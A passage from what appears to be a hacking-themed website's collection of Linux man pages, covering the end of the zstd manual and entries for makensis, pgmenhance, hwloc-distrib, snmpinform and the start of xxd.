  • -k, –keep: keep source file(s) after successful compression or decompression. This is the default behavior.

  • -r: operate recursively on directories. It selects all files in the named directory and all its subdirectories. This can be useful both to reduce command line typing, and to circumvent shell expansion limitations, when there are a lot of files and naming breaks the maximum size of a command line.

  • –filelist FILE read a list of files to process as content from FILE. Format is compatible with ls output, with one file per line.

  • –output-dir-flat DIR: resulting files are stored into target DIR directory, instead of same directory as origin file. Be aware that this command can introduce name collision issues, if multiple files, from different directories, end up having the same name. Collision resolution ensures first file with a given name will be present in DIR, while in combination with -f, the last file will be present instead.

  • –output-dir-mirror DIR: similar to –output-dir-flat, the output files are stored underneath target DIR directory, but this option will replicate input directory hierarchy into output DIR.

    If input directory contains “..”, the files in this directory will be ignored. If input directory is an absolute directory (i.e. “/var/tmp/abc”), it will be stored into the “output-dir/var/tmp/abc”. If there are multiple input files or directories, name collision resolution will follow the same rules as –output-dir-flat.

  • –format=FORMAT: compress and decompress in other formats. If compiled with support, zstd can compress to or decompress from other compression algorithm formats. Possibly available options are zstd, gzip, xz, lzma, and lz4. If no such format is provided, zstd is the default.

  • -h/-H, –help: display help/long help and exit

  • -V, –version: display version number and immediately exit. note that, since it exits, flags specified after -V are effectively ignored. Advanced: -vV also displays supported formats. -vvV also displays POSIX support. -qV will only display the version number, suitable for machine reading.

  • -v, –verbose: verbose mode, display more information

  • -q, –quiet: suppress warnings, interactivity, and notifications. specify twice to suppress errors too.

  • –no-progress: do not display the progress bar, but keep all other messages.

  • –show-default-cparams: shows the default compression parameters that will be used for a particular input file, based on the provided compression level and the input size. If the provided file is not a regular file (e.g. a pipe), this flag will output the parameters used for inputs of unknown size.

  • –exclude-compressed: only compress files that are not already compressed.

  • : All arguments after are treated as files

gzip Operation Modifiers

When invoked via a gzip symlink, zstd will support further options that intend to mimic the gzip behavior:

-n, –no-name
do not store the original filename and timestamps when compressing a file. This is the default behavior and hence a no-op.

–best
alias to the option -9.

Environment Variables

Employing environment variables to set parameters has security implications. Therefore, this avenue is intentionally limited. Only ZSTD_CLEVEL and ZSTD_NBTHREADS are currently supported. They set the default compression level and number of threads to use during compression, respectively.

ZSTD_CLEVEL can be used to set the level between 1 and 19 (the “normal” range). If the value of ZSTD_CLEVEL is not a valid integer, it will be ignored with a warning message. ZSTD_CLEVEL just replaces the default compression level (3).

ZSTD_NBTHREADS can be used to set the number of threads zstd will attempt to use during compression. If the value of ZSTD_NBTHREADS is not a valid unsigned integer, it will be ignored with a warning message. ZSTD_NBTHREADS has a default value of (1), and is capped at ZSTDMT_NBWORKERS_MAX==200. zstd must be compiled with multithread support for this variable to have any effect.

They can both be overridden by corresponding command line arguments: -# for compression level and -T# for number of compression threads.

ADVANCED COMPRESSION OPTIONS

zstd provides 22 predefined regular compression levels plus the fast levels. A compression level is translated internally into multiple advanced parameters that control the behavior of the compressor (one can observe the result of this translation with –show-default-cparams). These advanced parameters can be overridden using advanced compression options.

–zstd[=options]:

The options are provided as a comma-separated list. You may specify only the options you want to change and the rest will be taken from the selected or default compression level. The list of available options:

strategy=strat, strat=strat
Specify a strategy used by a match finder.

There are 9 strategies numbered from 1 to 9, from fastest to strongest: 1=ZSTD_fast, 2=ZSTD_dfast, 3=ZSTD_greedy, 4=ZSTD_lazy, 5=ZSTD_lazy2, 6=ZSTD_btlazy2, 7=ZSTD_btopt, 8=ZSTD_btultra, 9=ZSTD_btultra2.

windowLog=wlog, wlog=wlog
Specify the maximum number of bits for a match distance.

The higher number of increases the chance to find a match which usually improves compression ratio. It also increases memory requirements for the compressor and decompressor. The minimum wlog is 10 (1 KiB) and the maximum is 30 (1 GiB) on 32-bit platforms and 31 (2 GiB) on 64-bit platforms.

Note: If windowLog is set to larger than 27, –long=windowLog or –memory=windowSize needs to be passed to the decompressor.

hashLog=hlog, hlog=hlog
Specify the maximum number of bits for a hash table.

Bigger hash tables cause fewer collisions which usually makes compression faster, but requires more memory during compression.

The minimum hlog is 6 (64 entries / 256 B) and the maximum is 30 (1B entries / 4 GiB).

chainLog=clog, clog=clog
Specify the maximum number of bits for the secondary search structure, whose form depends on the selected strategy.

Higher numbers of bits increases the chance to find a match which usually improves compression ratio. It also slows down compression speed and increases memory requirements for compression. This option is ignored for the ZSTD_fast strategy, which only has the primary hash table.

The minimum clog is 6 (64 entries / 256 B) and the maximum is 29 (512M entries / 2 GiB) on 32-bit platforms and 30 (1B entries / 4 GiB) on 64-bit platforms.

searchLog=slog, slog=slog
Specify the maximum number of searches in a hash chain or a binary tree using logarithmic scale.

More searches increases the chance to find a match which usually increases compression ratio but decreases compression speed.

The minimum slog is 1 and the maximum is ‘windowLog’ - 1.

minMatch=mml, mml=mml
Specify the minimum searched length of a match in a hash table.

Larger search lengths usually decrease compression ratio but improve decompression speed.

The minimum mml is 3 and the maximum is 7.

targetLength=tlen, tlen=tlen
The impact of this field vary depending on selected strategy.

For ZSTD_btopt, ZSTD_btultra and ZSTD_btultra2, it specifies the minimum match length that causes match finder to stop searching. A larger targetLength usually improves compression ratio but decreases compression speed.

For ZSTD_fast, it triggers ultra-fast mode when > 0. The value represents the amount of data skipped between match sampling. Impact is reversed: a larger targetLength increases compression speed but decreases compression ratio.

For all other strategies, this field has no impact.

The minimum tlen is 0 and the maximum is 128 KiB.

overlapLog=ovlog, ovlog=ovlog
Determine overlapSize, amount of data reloaded from previous job. This parameter is only available when multithreading is enabled. Reloading more data improves compression ratio, but decreases speed.

The minimum ovlog is 0, and the maximum is 9. 1 means “no overlap”, hence completely independent jobs. 9 means “full overlap”, meaning up to windowSize is reloaded from previous job. Reducing ovlog by 1 reduces the reloaded amount by a factor 2. For example, 8 means “windowSize/2”, and 6 means “windowSize/8”. Value 0 is special and means “default”: ovlog is automatically determined by zstd. In which case, ovlog will range from 6 to 9, depending on selected strat.

ldmHashLog=lhlog, lhlog=lhlog
Specify the maximum size for a hash table used for long distance matching.

This option is ignored unless long distance matching is enabled.

Bigger hash tables usually improve compression ratio at the expense of more memory during compression and a decrease in compression speed.

The minimum lhlog is 6 and the maximum is 30 (default: 20).

ldmMinMatch=lmml, lmml=lmml
Specify the minimum searched length of a match for long distance matching.

This option is ignored unless long distance matching is enabled.

Larger/very small values usually decrease compression ratio.

The minimum lmml is 4 and the maximum is 4096 (default: 64).

ldmBucketSizeLog=lblog, lblog=lblog
Specify the size of each bucket for the hash table used for long distance matching.

This option is ignored unless long distance matching is enabled.

Larger bucket sizes improve collision resolution but decrease compression speed.

The minimum lblog is 1 and the maximum is 8 (default: 3).

ldmHashRateLog=lhrlog, lhrlog=lhrlog
Specify the frequency of inserting entries into the long distance matching hash table.

This option is ignored unless long distance matching is enabled.

Larger values will improve compression speed. Deviating far from the default value will likely result in a decrease in compression ratio.

The default value is wlog - lhlog.

Example

The following parameters sets advanced compression options to something similar to predefined level 19 for files bigger than 256 KB:

–zstd=wlog=23,clog=23,hlog=22,slog=6,mml=3,tlen=48,strat=6

-B#:

Specify the size of each compression job. This parameter is only available when multi-threading is enabled. Each compression job is run in parallel, so this value indirectly impacts the nb of active threads. Default job size varies depending on compression level (generally 4 * windowSize). -B# makes it possible to manually select a custom size. Note that job size must respect a minimum value which is enforced transparently. This minimum is either 512 KB, or overlapSize, whichever is largest. Different job sizes will lead to non-identical compressed frames.

DICTIONARY BUILDER

zstd offers dictionary compression, which greatly improves efficiency on small files and messages. It’s possible to train zstd with a set of samples, the result of which is saved into a file called a dictionary. Then, during compression and decompression, reference the same dictionary, using command -D dictionaryFileName. Compression of small files similar to the sample set will be greatly improved.

–train FILEs
Use FILEs as training set to create a dictionary. The training set should ideally contain a lot of samples (> 100), and weight typically 100x the target dictionary size (for example, ~10 MB for a 100 KB dictionary). –train can be combined with -r to indicate a directory rather than listing all the files, which can be useful to circumvent shell expansion limits.

Since dictionary compression is mostly effective for small files, the expectation is that the training set will only contain small files. In the case where some samples happen to be large, only the first 128 KiB of these samples will be used for training.

–train supports multithreading if zstd is compiled with threading support (default). Additional advanced parameters can be specified with –train-fastcover. The legacy dictionary builder can be accessed with –train-legacy. The slower cover dictionary builder can be accessed with –train-cover. Default –train is equivalent to –train-fastcover=d=8,steps=4.

-o FILE
Dictionary saved into FILE (default name: dictionary).

–maxdict=#
Limit dictionary to specified size (default: 112640 bytes). As usual, quantities are expressed in bytes by default, and it’s possible to employ suffixes (like KB or MB) to specify larger values.

-#
Use # compression level during training (optional). Will generate statistics more tuned for selected compression level, resulting in a small compression ratio improvement for this level.

-B#
Split input files into blocks of size # (default: no split)

-M#, –memory=#
Limit the amount of sample data loaded for training (default: 2 GB). Note that the default (2 GB) is also the maximum. This parameter can be useful in situations where the training set size is not well controlled and could be potentially very large. Since speed of the training process is directly correlated to the size of the training sample set, a smaller sample set leads to faster training.

In situations where the training set is larger than maximum memory, the CLI will randomly select samples among the available ones, up to the maximum allowed memory budget. This is meant to improve dictionary relevance by mitigating the potential impact of clustering, such as selecting only files from the beginning of a list sorted by modification date, or sorted by alphabetical order. The randomization process is deterministic, so training of the same list of files with the same parameters will lead to the creation of the same dictionary.

–dictID=#
A dictionary ID is a locally unique ID. The decoder will use this value to verify it is using the right dictionary. By default, zstd will create a 4-bytes random number ID. It’s possible to provide an explicit number ID instead. It’s up to the dictionary manager to not assign twice the same ID to 2 different dictionaries. Note that short numbers have an advantage: an ID < 256 will only need 1 byte in the compressed frame header, and an ID < 65536 will only need 2 bytes. This compares favorably to 4 bytes default.

Note that RFC8878 reserves IDs less than 32768 and greater than or equal to 2^31, so they should not be used in public.

–train-cover[=k#,d=#,steps=#,split=#,shrink[=#]]
Select parameters for the default dictionary builder algorithm named cover. If d is not specified, then it tries d = 6 and d = 8. If k is not specified, then it tries steps values in the range [50, 2000]. If steps is not specified, then the default value of 40 is used. If split is not specified or split <= 0, then the default value of 100 is used. Requires that d <= k. If shrink flag is not used, then the default value for shrinkDict of 0 is used. If shrink is not specified, then the default value for shrinkDictMaxRegression of 1 is used.

Selects segments of size k with highest score to put in the dictionary. The score of a segment is computed by the sum of the frequencies of all the subsegments of size d. Generally d should be in the range [6, 8], occasionally up to 16, but the algorithm will run faster with d <= 8. Good values for k vary widely based on the input data, but a safe range is [2 * d, 2000]. If split is 100, all input samples are used for both training and testing to find optimal d and k to build dictionary. Supports multithreading if zstd is compiled with threading support. Having shrink enabled takes a truncated dictionary of minimum size and doubles in size until compression ratio of the truncated dictionary is at most shrinkDictMaxRegression% worse than the compression ratio of the largest dictionary.

Examples:

zstd –train-cover FILEs

zstd –train-cover=k=50,d=8 FILEs

zstd –train-cover=d=8,steps=500 FILEs

zstd –train-cover=k=50 FILEs

zstd –train-cover=k=50,split=60 FILEs

zstd –train-cover=shrink FILEs

zstd –train-cover=shrink=2 FILEs

–train-fastcover[=k#,d=#,f=#,steps=#,split=#,accel=#]
Same as cover but with extra parameters f and accel and different default value of split If split is not specified, then it tries split = 75. If f is not specified, then it tries f = 20. Requires that 0 < f < 32. If accel is not specified, then it tries accel = 1. Requires that 0 < accel <= 10. Requires that d = 6 or d = 8.

f is log of size of array that keeps track of frequency of subsegments of size d. The subsegment is hashed to an index in the range [0,2^f - 1]. It is possible that 2 different subsegments are hashed to the same index, and they are considered as the same subsegment when computing frequency. Using a higher f reduces collision but takes longer.

Examples:

zstd –train-fastcover FILEs

zstd –train-fastcover=d=8,f=15,accel=2 FILEs

–train-legacy[=selectivity=#]
Use legacy dictionary builder algorithm with the given dictionary selectivity (default: 9). The smaller the selectivity value, the denser the dictionary, improving its efficiency but reducing its achievable maximum size. –train-legacy=s=# is also accepted.

Examples:

zstd –train-legacy FILEs

zstd –train-legacy=selectivity=8 FILEs

BENCHMARK

The zstd CLI provides a benchmarking mode that can be used to easily find suitable compression parameters, or alternatively to benchmark a computer’s performance. Note that the results are highly dependent on the content being compressed.

-b#
benchmark file(s) using compression level #

-e#
benchmark file(s) using multiple compression levels, from -b# to -e# (inclusive)

-d
benchmark decompression speed only (requires providing an already zstd-compressed content)

-i#
minimum evaluation time, in seconds (default: 3s), benchmark mode only

-B#, –block-size=#
cut file(s) into independent chunks of size # (default: no chunking)

–priority=rt
set process priority to real-time (Windows)

Output Format: CompressionLevel#Filename: InputSize -> OutputSize (CompressionRatio), CompressionSpeed, DecompressionSpeed

Methodology: For both compression and decompression speed, the entire input is compressed/decompressed in-memory to measure speed. A run lasts at least 1 sec, so when files are small, they are compressed/decompressed several times per run, in order to improve measurement accuracy.

SEE ALSO

zstdgrep(1), zstdless(1), gzip(1), xz(1)

The zstandard format is specified in Y. Collet, “Zstandard Compression and the ‘application/zstd’ Media Type”, https://www.ietf.org/rfc/rfc8878.txt, Internet RFC 8878 (February 2021).

BUGS

Report bugs at: https://github.com/facebook/zstd/issues

AUTHOR

Yann Collet

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

692 - Linux cli command makensis

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command makensis and provides detailed information about the command makensis, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the makensis.

NAME 🖥️ makensis 🖥️

A program to create Windows installers.

SYNOPSIS

makensis [script.nsi] [-CMDHELP item] [-HDRINFO] [-LICENSE] [-VERSION] [-Vx] [-WX] [-Ofile] [-PAUSE] [-NOCONFIG] [-NOCD] [-INPUTCHARSET charset] [-PPO] [-SAFEPPO] [-Ddefine**=value] [-X**scriptcmd]

DESCRIPTION

This manual page documents briefly the makensis command.

This manual page was written for the Debian (TM) distribution because the original program does not have a manual page. Instead, it has documentation in the HTML format; see below.

makensis is a program that creates installer programs for Windows.

OPTIONS

Parameters are processed by order (-Ddef ins.nsi != ins.nsi -Ddef) for script file name, you can use - to read from the standard input. For a complete description, see the HTML files.

-Vx

Verbosity where x is 4=all, 3=no script, 2=no info, 1=no warnings, 0=none.

-WX

Treat warnings as errors

-Ofile

Specifies a text file to log compiler output (default is stdout).

-PAUSE

Pauses after execution.

-NOCONFIG

Disables inclusion of /etc/nsisconf.nsh.

-NOCD

Disable changing the current directory to that of the .nsi file.

-INPUTCHARSET charset

Specifies a specific codepage for files without a BOM. The following choice of charsets is supported: <ACP|OEM|CP#|UTF8|UTF16<LE|BE>>

-PPO

Run only the preprocessor and print the result to stdout.

-SAFEPPO

Same as -PPO but instructions like !appendfile or !system are not executed.

-Ddefine**=**value

Defines the symbol “define” for the script to [value].

-Xscriptcmd

Executes scriptcmd in the script (i.e. “-XOutFile poop.exe”)

-CMDHELP item

Prints out help for item, or lists all commands.

-HDRINFO

Prints information about what options makensis was compiled with.

-LICENSE

Prints the makensis software license.

-VERSION

Prints the makensis version and exits.

FILES

/etc/nsisconf.nsh

System wide configuration file.

~/.nsisconf.nsh

Per-user configuration file.

SEE ALSO

NSIS is documented more fully in the HTML files in /usr/share/doc/nsis/Docs.

AUTHORS

Paul Wise <[email protected]>

This manual page was written initially by Paul Wise <[email protected]> for the Debian (TM) system.

Thomas Gaugler

updated the man page to reflect changes introduced with version 3.0.

COPYRIGHT

Copyright © 2005-2016 Paul Wise, Thomas Gaugler

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

693 - Linux cli command pgmenhance

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmenhance and provides detailed information about the command pgmenhance, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmenhance.

.

NAME 🖥️ pgmenhance 🖥️

edge-enhance a PGM image

SYNOPSIS

pgmenhance

[-N]

[pgmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pgmenhance reads a PGM image as input, enhances the edges, and writes a PGM image as output.

The edge enhancing technique is taken from Philip R. Thompson’s “xim” program, which in turn took it from section 6 of “Digital Halftones by Dot Diffusion”, D. E. Knuth, ACM Transaction on Graphics Vol. 6, No. 4, October 1987, which in turn got it from two 1976 papers by J. F. Jarvis et. al.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pgmenhance recognizes the following command line option:

**-**N
The optional **-**N option should be a digit from 1 to 9. 1 is the lowest level of enhancement; 9 is the highest. The default is 9.

SEE ALSO

pamedge(1) , pgm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmenhance.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

694 - Linux cli command hwloc-distrib

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-distrib and provides detailed information about the command hwloc-distrib, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-distrib.

NAME 🖥️ hwloc-distrib 🖥️

distrib - Build a number of cpu masks distributed on the system

SYNOPSIS

hwloc-distrib [options] <integer>

OPTIONS

–single
Singlify each output to a single CPU.

–cpuset-output-format <hwloc|list|taskset> –cof <hwloc|list|taskset>
Change the format of displayed CPU set strings. By default, the hwloc-specific format is used. If list is given, the output is a comma-separated of numbers or ranges, e.g. 2,4-5,8 . If taskset is given, the output is compatible with the taskset program (replaces the former –taskset option).

-v –verbose
Verbose messages.

-i <path>, –input <path>
Read the topology from <path> instead of discovering the topology of the local machine.

If <path> is a file, it may be a XML file exported by a previous hwloc program. If <path> is “-”, the standard input may be used as a XML file.

On Linux, <path> may be a directory containing the topology files gathered from another machine topology with hwloc-gather-topology.

On x86, <path> may be a directory containing a cpuid dump gathered with hwloc-gather-cpuid.

When the archivemount program is available, <path> may also be a tarball containing such Linux or x86 topology files.

-i <specification>, –input <specification>
Simulate a fake hierarchy (instead of discovering the topology on the local machine). If <specification> is “node:2 pu:3”, the topology will contain two NUMA nodes with 3 processing units in each of them. The <specification> string must end with a number of PUs.

–if <format>, –input-format <format>
Enforce the input in the given format, among xml, fsroot, cpuid and synthetic.

–ignore <type>
Ignore all objects of type <type> in the topology.

–from <type>
Distribute starting from objects of the given type instead of from the top of the topology hierarchy, i.e. ignoring the structure given by objects above.

<type> cannot be among NUMANode, I/O or Misc types.

–to <type>
Distribute down to objects of the given type instead of down to the bottom of the topology hierarchy, i.e. ignoring the structure given by objects below. This may be useful if some latitude is desired for the binding, e.g. just bind several processes to each package without specifying a single core for each of them.

<type> cannot be among NUMANode, I/O or Misc types.

–at <type>
Distribute among objects of the given type. This is equivalent to specifying both –from and –to at the same time.

–reverse
Distribute by starting with the last objects first, and singlify CPU sets by keeping the last bit (instead of the first bit).

–restrict <cpuset>
Restrict the topology to the given cpuset. This removes some PUs and their now-child-less parents.

Beware that restricting the PUs in a topology may change the logical indexes of many objects, including NUMA nodes.

–restrict nodeset=<nodeset>
Restrict the topology to the given nodeset (unless –restrict-flags specifies something different). This removes some NUMA nodes and their now-child-less parents.

Beware that restricting the NUMA nodes in a topology may change the logical indexes of many objects, including PUs.

–restrict-flags <flags>
Enforce flags when restricting the topology. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_restrict(). Those names may be substrings of actual flag names as long as a single one matches, for instance bynodeset,memless. The default is 0 (or none).

–disallowed
Include objects disallowed by administrative limitations.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

hwloc-distrib generates a series of CPU masks corresponding to a distribution of a given number of elements over the topology of the machine. The distribution is done recursively from the top of the hierarchy (or from the level specified by option –from) down to the bottom of the hierarchy (or down to the level specified by option –to, or until only one element remains), splitting the number of elements at each encountered hierarchy level not ignored by options –ignore.

This can e.g. be used to distribute a set of processes hierarchically according to the topology of a machine. These masks can be used with hwloc-bind(1).

On hybrid CPUs (or asymmetric platforms), distribution may be suboptimal since the number of cores or PUs inside packages or below caches may vary (the top-down recursive partitioning ignores these numbers until reaching their levels). Hence it is recommended to distribute only inside a single homogeneous domain. For instance on a CPU with energy-efficient E-cores and high-performance P-cores, one should distribute separately N tasks on E-cores and M tasks on P-cores instead of trying to distribute directly M+N tasks on the entire CPUs.

NOTE: It is highly recommended that you read the hwloc(7) overview page before reading this man page. Most of the concepts described in hwloc(7) directly apply to the hwloc-bind utility.

EXAMPLES

hwloc-distrib’s operation is best described through several examples.

If 4 processes have to be distributed across a machine, their CPU masks may be obtained with:

$ hwloc-distrib 4 0x0000000f 0x00000f00 0x000000f0 0x0000f000

To distribute only among the second package, the topology should be restricted:

$ hwloc-distrib –restrict $(hwloc-calc package:1) 4 0x00000010 0x00000020 0x00000040 0x00000080

To get a single processor of each CPU masks (prevent migration in case of binding)

$ hwloc-distrib 4 –single 0x00000001 0x00000100 0x00000010 0x00001000

Each output line may be converted independently with hwloc-calc:

$ hwloc-distrib 4 –single | hwloc-calc –oo -q -I pu PU:0 PU:8 PU:4 PU:12

To convert the output into a list of processors that may be passed to dplace -c inside a mpirun command line:

$ hwloc-distrib 4 –single | xargs hwloc-calc -I pu 0,8,4,16

RETURN VALUE

Upon successful execution, hwloc-distrib displays one or more CPU mask strings. The return value is 0.

hwloc-distrib will return nonzero if any kind of error occurs, such as (but not limited to) failure to parse the command line.

SEE ALSO

hwloc(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

695 - Linux cli command snmpinform

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpinform and provides detailed information about the command snmpinform, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpinform.

NAME 🖥️ snmpinform 🖥️

sends an SNMP notification to a manager

SYNOPSIS

snmptrap -v 1 [COMMON OPTIONS] AGENT enterprise-oid agent generic-trap specific-trap uptime [OID TYPE VALUE]…

snmptrap -v [2c|3] [COMMON OPTIONS] [-Ci] AGENT uptime trap-oid [OID TYPE VALUE]…

snmpinform -v [2c|3] [COMMON OPTIONS] AGENT uptime trap-oid [OID TYPE VALUE]…

DESCRIPTION

snmptrap is an SNMP application that uses the SNMP TRAP operation to send information to a network manager. One or more object identifiers (OIDs) can be given as arguments on the command line. A type and a value must accompany each object identifier. Each variable name is given in the format specified in variables(5).

When invoked as snmpinform, or when -Ci is added to the command line flags of snmptrap, it sends an INFORM-PDU, expecting a response from the trap receiver, retransmitting if required. Otherwise it sends an TRAP-PDU or TRAP2-PDU.

If any of the required version 1 parameters, enterprise-oid, agent, and uptime are specified as empty, it defaults to 1.3.6.1.4.1.3.1.1 (enterprises.cmu.1.1), hostname, and host-uptime respectively.

The TYPE is a single character, one of:

i
INTEGER

u
UNSIGNED

c
COUNTER32

s
STRING

x
HEX STRING

d
DECIMAL STRING

n
NULLOBJ

o
OBJID

t
TIMETICKS

a
IPADDRESS

b
BITS

which are handled in the same way as the snmpset command.

The AGENT argument is only embedded in SNMP TRAP PDUs but not in SNMP INFORM PDUs. If AGENT is not an empty string, it must be an IPv4 address. This limitation comes from RFC 1157, in which the agent address field is defined as follows:

agent-addr NetworkAddress, – address of object generating trap

From RFC 1155:

NetworkAddress ::=
CHOICE {
internet IpAddress
}
[ … ]
IpAddress ::=
[APPLICATION 0] – in network-byte order
IMPLICIT OCTET STRING (SIZE (4))

An example of how to use snmptrap:

snmptrap -v 1 -c public manager enterprises.spider test-hub 3 0 ’’ interfaces.iftable.ifentry.ifindex.1 i 1

will send a generic linkUp trap to manager, for interface 1.

OPTIONS

snmptrap takes the common options described in the snmpcmd(1) manual page in addition to the -Ci option described above. Note that snmptrap REQUIRES an argument specifying the agent to query as described there.

SEE ALSO

snmpcmd(1), snmpset(1), variables(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

696 - Linux cli command xxd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xxd and provides detailed information about the command xxd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xxd.

NAME 🖥️ xxd 🖥️

make a hex dump or do the reverse.

SYNOPSIS

xxd -h[elp]
xxd [options] [infile [outfile]]
xxd -r[evert] [options] [infile [outfile]]

DESCRIPTION

xxd creates a hex dump of a given file or standard input. It can also convert a hex dump back to its original binary form. Like uuencode(1) and uudecode(1) it allows the transmission of binary data in a `mail-safe’ ASCII representation, but has the advantage of decoding to standard output. Moreover, it can be used to perform binary file patching.

OPTIONS

If no infile is given, standard input is read. If infile is specified as a `-’ character, then input is taken from standard input. If no outfile is given (or a `-’ character is in its place), results are sent to standard output.

Note that a “lazy” parser is used which does not check for more than the first option letter, unless the option is followed by a parameter. Spaces between a single option letter and its parameter are optional. Parameters to options can be specified in decimal, hexadecimal or octal notation. Thus -c8, -c 8, -c 010 and -cols 8 are all equivalent.

-a | -autoskip
Toggle autoskip: A single ‘*’ replaces NUL-lines. Default off.

-b | -bits
